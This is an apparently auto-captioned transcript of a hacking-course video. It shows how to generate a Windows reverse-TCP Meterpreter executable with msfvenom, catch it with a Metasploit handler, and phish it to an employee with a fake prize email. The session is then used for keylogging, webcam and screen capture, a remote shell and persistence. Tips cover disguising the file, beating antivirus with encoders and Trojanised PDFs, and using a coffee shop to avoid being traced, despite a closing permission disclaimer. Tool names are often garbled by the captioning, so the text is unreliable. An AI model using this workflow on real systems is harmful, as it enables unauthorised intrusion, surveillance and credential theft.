Welcome to Part Five of this module so we're now ready to hack a Windows P.C. for the very first time
for this demonstration.
I'm going to be using a 32 bit installation of Windows 7 Professional Service Pack 1 and running on
a virtual machine.
There are a couple of things to note about this going in.
This is our first attempt to penetrate a Windows system using metal split.
So I'm purposefully keeping things very simple for this first test so that students can follow along
without any undue difficulty.
They're obviously a great many different ways to do this and those of you who already have experience
with Metis ploy it might turn your nose up at the simplicity of this first round.
The second thing to be aware of is that this method is going to require a few extra steps involving
port forwarding.
If you plan to attempt it against a target that is not on your local network.
These will be covered in a subsequent video very soon because we're keeping this first foray as straightforward
as possible.
The target machine has no antivirus or other special defenses running.
We will be looking at how to deal with those in a future video.
So here is the scenario.
We are a penetration tester contracted by a large company to test network security.
We have either been given access or hacked into the wireless network.
We are now on the network and we've done our network reconnaissance and we know which machines are which
more than that.
We did our research into this company using tools like multi ago and recon energy so we know a bit about
who is who in the company we know who is who the important people are and we know their email addresses.
So with all of that in mind what we want to do is use Metis Floyd to gain initial access to an important
computer on the network.
Again things are being kept very simple for this first demonstration.
So pretend that the network administrator is a chimpanzee and there is absolutely no special security
at all.
And sometimes that's not actually too far from the truth so our first step as always is going to be
to start up the MSF console.
So if you need a refresher on how to do that you would just type service post Gris Q L start and then
you would follow that up with MSF console to save time I've already done that of course now as counter-intuitive
as this might seem.
What we need is our own IP address rather than the target machine.
Remember that regular commands for the most part route right through the MSF console.
So all we have to do is type ii f config and copy the address that we see.
This will be our network address.
Great.
We have our network IP.
Now of course like I said there are many ways we could proceed with what we want to do.
You've already seen how to scan a target for potential vulnerabilities and use the search function to
try to find an exploit for it.
This time we're going to create a payload using MSF venom that we're going to send to our target machine.
So we start by typing MSF venom
I want to quickly point out that in the old days the command was MSF payload even though that command
is now obsolete you'll still run into it being used on some specialized distributions of a split.
However in Cali it's MSF venom.
So we're going to create a payload so to do this we're going to type MSF venom TAC lowercase P and it's
going to be a maternal critter payload for Windows.
So we're gonna say Windows forward slash interpreter forward slash reverse T C P.
If you've been following these videos in order and I hope you have you should be familiar with how the
reverse T C P looks so then we're gonna give it R L host and this is going to be the IP address of our
Cally machine.
I want to be clear this is not the IP address of the target like you would probably think this is our
own network address that we just got with the F config command.
So in this case that's going to be 10 dot 0 0 dot 21 and yours will vary.
And now we need to set the L port so we're going to give that l port equals four thousand four hundred
and forty four.
We're gonna do tack lowercase F for the format which is going to be e XY you could play around with
different formats.
As I said I'm keeping things simple for this first demonstration
and then we will do forward slash and we could create the payload anywhere.
I'm going to create the payload on the desktop just for simplicity's sake.
So route desktop forward slash.
And now we'll give the payload a name.
Now you would probably want to name this something innocuous like I don't know run DSL or or something
that would be unlikely to be noticed.
Were it to be seen in a task window for for the sake of clarity.
I'm just going to name it payload XY once this is done we press enter and two other things I should
note here first because I did not use attack lowercase a to specify an architecture it's going to put
out an X 86 or 32 bit payload by default you may need to throw in that extra switch to specify 64 bit
or X 64 depending on the target machine that you're going after.
Also please be aware that in this first demonstration no encoder is being used.
I'll talk about what that means in a second and generating the payload should probably take a few minutes.
Actually here it goes.
Now if we flip over to the desktop for a second we can see that the payload was generated their payload
dot e XY.
This is because as I said I specified the path route desktop.
And again you could create it anywhere you want and you can name it anywhere you want.
The payload is going to give us remote access to the computer that we wish to hack into.
I said a moment ago that no encoder was used.
We also gave it a stupidly obvious name by calling it payload.
So no chimpanzee in their right mind would click on this and if they did it should trigger any antivirus
software worthy of the name just to show you what I mean.
If we quickly pull up a virus total or any other scanning service that we prefer and upload the file
we can see that it is almost universally detected as a virus or a Trojan by literally every antivirus
software out there.
Needless to say this isn't going to cut it in a real world scenario.
This is why in practice we need to take additional steps such as using an encoder or a crypto to mask
the true nature of the file so that it slips past antivirus.
We would probably also want to use a third party program to attach our malicious payload to a more innocent
looking file such as a PD f.
This would allow us to create a Trojan horse causing the payload to be activated any time the file that
it is attached to is opened.
More on this later.
But remember in this first demo the system administrator is a chimpanzee who is too busy eating bananas
to worry about installing antivirus or countermeasures.
And because we know who is who in the company thanks to our work with recon energy and Montego and other
tools like them we know that a particularly good employee to send our payload to is Bob.
Bob works in accounts and his security practices are terrible.
He trusts the chimp to keep him safe and doesn't think twice about opening any emails he gets sent and
we have his email through the programs that have been mentioned so we could send him the payload by
email until bomb that he has won a million dollars.
All he has to do is download the payload and run it.
Or maybe we could encode the payloads that it won't be detected then attach it to a PDA that contains
instructions on how Bob can claim his prize.
Either way Bob downloads it runs it and we're in.
Bob isn't too bright and before you say this couldn't possibly happen.
No one in the real world would be this stupid.
I would point out that highly placed members of a certain political campaign in the American 2016 election
fell for exactly this trick with disastrous results.
Yes you need to be clever but people really are this gullible.
At any rate what we're actually going to do just again for this demonstration is to pretend that we
are Bob.
We manually transfer our payload over to the Windows system and then run it.
Remember it doesn't matter how the payload gets to the target.
There are countless methods.
But before Bob opens the payload we're going to need to be ready by loading up the correct exploit.
So to begin with we're going to type use exploit forward slash multi forward slash handler
as always.
The exploit appears and read as part of the prompt indicating that it is now loaded.
Now we need to set the El host within the exploit.
This is exactly what you saw in the previous videos except that we're going to supply the El host of
our own network IP for the Kelly machine that we're currently using.
Again yours will vary.
Set El host 10 0 0 at 21 which in this case is the one I'm using and now we need to set the port set
El port for 4 4 4 and we'll show options
OK.
Everything looks ready.
We are locked and loaded.
So we just type exploit.
Now we play the waiting game.
We've started a reverse t S.P. handler on our own machine using port for four four four.
Now we can sit here until the cows come home but nothing is going to happen until Bob or someone else
double clicks on the payload that we created.
Once that happens the payload will establish a connection with us and we'll have a mature operator session
to simulate Bob opening up the payload.
We need to go on to our target machine and double click payload EMC.
Remember to only do this on a virtual machine if you are following along so I'm going to go ahead and
do that now Bob has just opened up the payload
and there we go with big shining eyes Bob just opened up payload EMC hoping to claim his cash prize.
Sadly for Bob we now have a maternity session directly into his computer for as long as the system stays
up.
We pretty much own it from here.
The sky's the limit.
So let's start playing around a bit can do System Info to see what kind of computer it is.
Although we probably already knew that we might for instance have obtained a list of email addresses
for every employee in the company using recon and gee maybe we sent the same payload to 100 people and
we just waited to get lucky.
So what what next.
Well let's let's go ahead and take a screenshot of the target computer and see what Bob sees
this saves a screenshot to our root directory.
So I'll just pull that up.
It's a little small and blurry because our target is actually a virtual machine in windowed mode but
you get the idea we can even take a picture of Bob through his own web cam
which won't actually work in this demonstration because the target is a virtual box.
But again you get the idea that picture just like the screenshot we just saw will be saved in your root
directory we can start key logging everything that Bob types by typing key scan underscore.
Start
and now let me just pull up a notepad and type something as Bob.
So of course normally we just leave this running for the duration of the session but let's see what
Bob just typed
by typing key scan underscore.
Dump
we can see that he has typed.
Hello my name is Bob.
Shifts are shown my super secret password is w q One two three.
Please don't use w q 1 2 3 as your super secret password
we can also execute a shell command and gain direct access as though we were sitting at the computer
in front of the command prompt by typing shell from here we could run files delete files edit files
and if we wanted to keep long term access we could back up into mature prettier again by typing the
exit command once then we could use the upload command
to send a bot or remote access server then we could go back into shell and run it thus ensuring that
RF even after the mature operator session ends we will always be able to obtain access again we could
turn the computer into a bot or use the remote access tool kit to hack into it later without having
to resort to Metis Floyd at all we could also set things up so that the payload gets automatically run
invisibly as a cron job lets say every 10 minutes or whatever thus allowing us to access the machine
again using the same method that we are now without requiring anyone to actually open the payload manually
and all of that is just scratching the surface we can download files using the download command execute
commands on the network that originate from that computer pretty much anything you can think of as if
you were sitting in front of the computer yourself we can also end the session by typing exit within
return fritter or the session will automatically terminate when the system is shut down or rebooted
which I will now demonstrate the point is that we need to be a bit quick once we have access if we want
to ensure we keep access over the long term so make sure you have a plan for what you want to accomplish
once you're in control C followed by the exit command will end the session and bring back to the MSF
console now as was said at the start of this video port forwarding is something we need to set up on
the router if we plan to do this from a remote location rather than on the same network as the target
machine.
Be aware that if you do this you'll need to use your own IP address when configuring the payload and
a smart system ad men who isn't some species of monkey can easily trace the connection right back to
its point of origin this is where virtual private servers and other anonymous sizing techniques come
into play but those are a subject for another video if all else fails your average hacker operating
on a shoestring budget can always just use a coffee shop or something like it and therefore not have
to worry about the IP being traced and remember to have a good stern talk with Bob about his security
practices after you finish your duly authorised penetration test and security audit and as always.
Never use anything shown in this video or any other video in the series against anyone or anything you
don't have written permission from the owner to penetration test be aware of the law and obey it at
all times and be ethical in the next video we'll look at doing this same kind of thing but in more advanced
ways that no longer assume our opponent is a chimpanzee.
I hope you found this helpful and I'll see you next time.